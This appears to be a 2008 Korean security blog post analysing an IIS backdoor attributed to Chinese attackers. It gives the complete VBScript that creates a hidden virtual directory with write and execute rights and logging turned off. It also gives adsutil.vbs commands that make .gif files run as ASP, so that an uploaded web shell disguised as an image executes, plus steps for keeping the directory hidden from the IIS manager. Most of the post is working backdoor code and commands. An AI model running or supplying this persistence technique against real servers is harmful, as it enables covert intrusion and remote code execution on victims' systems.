iis backdoor
웹/공격 2008. 11. 18. 10:54 |작성자 : 빨룡
/*
이 문서는 중국 해커들이 사용하는 iis backdoor 를 분석한 문서입니다.
가상디렉토리를 생성한 후 설정을 변경하여 gif파일을 asp로 파싱하는 기법을 기술하였습니다.
*/
iis.vbs
------------------------------------------------------------------------------------------------------------------------------------------------------
help1="windows 2000 IIS backdoor 2004년 5월 30일"
help2=""
help3="실행방법1: cscript iis.vbs 가상디렉토리명"
help4="실행방법2: cscript.exe iis.vbs 가상디렉토리명 경로"
help5="예제: cscript.exe iis.vbs rootkit c:\inetpub\wwwroot"
set Args = Wscript.Arguments
if args.count < 2 then
wscript.echo help1
wscript.echo ""
wscript.echo help2
wscript.echo ""
wscript.echo help5
wscript
echo ""
wscript.echo help3
wscript.echo ""
wscript.echo help4
wscript.quit
end if
strVRName=args(0) '' 가상디렉토리명
strRootPath=args(1) '' 경로
Set checkVirtualDir=GetObject("IIS://LocalHost/W3SVC/1/Root")
For each VR in checkVirtualDir
if VR.Name="lhxy" Then
foundt ="yes"
else
foundt= "no"
End If
Next
if foundt ="yes" then
wscript.echo "디렉토리가 존재할때"
creatvdir
else
wscript.echo "디렉토리가 존재하지 않을때"
creatlhxy
creatvdir
end if
wscript.echo "가상디렉토리:"& strVRName &",경로: " & strRootPath &"。"
wscript.echo "http://IP/lhxy/"& strVRName &"으로 접속하세요!!"
sub creatlhxy()
Set objDir=GetObject("IIS://LocalHost/W3SVC/1/Root")
Set myDir=objDir.Create("IISWebVirtualDir","lhxy")
myDir.AccessRead=true
myDir.DefaultDoc=mydir.DefaultDoc
myDir.AppIsolated=0
myDir.AccessExecute=true
myDir.DontLog=true
myDir.AccessSource=true
myDir.EnableDirBrowsing=true
myDir.setinfo
end sub
sub creatvdir()
Set objVirtualDir=GetObject("IIS://LocalHost/W3SVC/1/Root/lhxy")
Set VirDir=objVirtualDir.Create("IISWebVirtualDir",strVRName)
VirDir.AccessRead=true
VirDir.Path=strRootPath
VirDir.DefaultDoc=""
VirDir.AccessExecute=true
VirDir.AccessWrite=true
VirDir.AccessSource=true
VirDir.AppIsolated=0
VirDir.DontLog=true
VirDir.EnableDirBrowsing=true
VirDir.appcreate 0
VirDir.CreateProcessAsUser=0
VirDir.setInfo
end sub
wscript.quit
------------------------------------------------------------------------------------------------------------------------------------------------------
# iis.vbs 파일을 만든 후 cmd를 실행합니다.
# cmd에서 iis.vbs를 실행합니다.
#iis.vbs의 역할은 가상디렉토리를 만들어주는 역할입니다.
#iis.vbs rootkit c:\inetpub\wwwroot
#위와 같이 실행해주면 c:\inetpub\wwwroot를 홈디렉토리로 하는 rootkit이라는 가상디렉토리가 생성됩니다
# http://ip/lhxy/rootkit 으로 접속하게 되면 c:\inetpub\wwwroot에 접속할 수 있습니다.
------------------------------------------------------------------------------------------------------------------------------------------------------
cscript c:\inetpub\adminscripts\adsutil.vbs set /W3SVC/InProcessIsapiApps "C:\WINNT\System32\idq.dll" "C:\WINNT\System32\inetsrv\httpext.dll" "C:\WINNT\System32\inetsrv\httpodbc.dll" "C:\WINNT\System32\inetsrv\ssinc.dll" "C:\WINNT\System32\msw3prt.dll" "C:\winnt\system32\inetsrv\asp.dll"
------------------------------------------------------------------------------------------------------------------------------------------------------
# asp, odbc, idq등 여러가지 dll들을 링크시켜 줍니다.
#adsutil.vbs 는 iis에서 설정을 관리하기 위해 제공해주는 vb script입니다.
#iis등록정보를 통해서 설정을 하는것을 콘솔에서 할수 있도록 해줬다고 보면 됩니다.
------------------------------------------------------------------------------------------------------------------------------------------------------
cscript adsutil.vbs set w3svc/1/root/lhxy/rootkit/ScriptMaps ".gif,C:\winnt\system32\inetsrv\asp.dll,1"
------------------------------------------------------------------------------------------------------------------------------------------------------
#w3svc/1/root/ 까지의 경로는 현재 웹서버의 첫번째 기본 디렉토리를 의미합니다 (여기서는 c:\inetpub\wwwroot)
#"gif,C:\winnt\system32\inetsrv\asp.dll,1" 문장을 통해서 gif도 asp로 파싱이 되도록 설정합니다.
# 이제 gif확장자를 가진 asp 웹쉘을 업로드 하면 asp코드를 실행할 수 있습니다.
#주의 할점이 있습니다. scriptmaps를 하나를 등록하면 기존에 등록되어 있던 데이터 들이 모두 없어지고
#마지막으로 올린 데이터만 업데이트 됩니다. 그렇기 때문에 반드시 가상디렉토리를 만들어서
#자신의 디렉토리에만 적용되도록 해야합니다.
#cscript c:\inetpub\adminscripts/adsutil.vbs set w3svc/1/root/ScriptMaps 와 같은 구문을 쓰면 안된다는 뜻입니다.
# 참고사항
# iis 5.0에서는 가상디렉토리를 만들어도 iis 관리자에서 이를 볼수 없습니다. (6.0에서는 확인 가능)
# 그렇기 때문에 가상디렉토리를 만들경우 ScriptMaps가 지워지는 것을 막을수 있는 것 외에도 백도어처럼 디렉토리를 화면상에서 숨길 수 있다는 의미입니다.
# 이 가상디렉토리를 확인하려면 메타 탐색기가 있어야 합니다.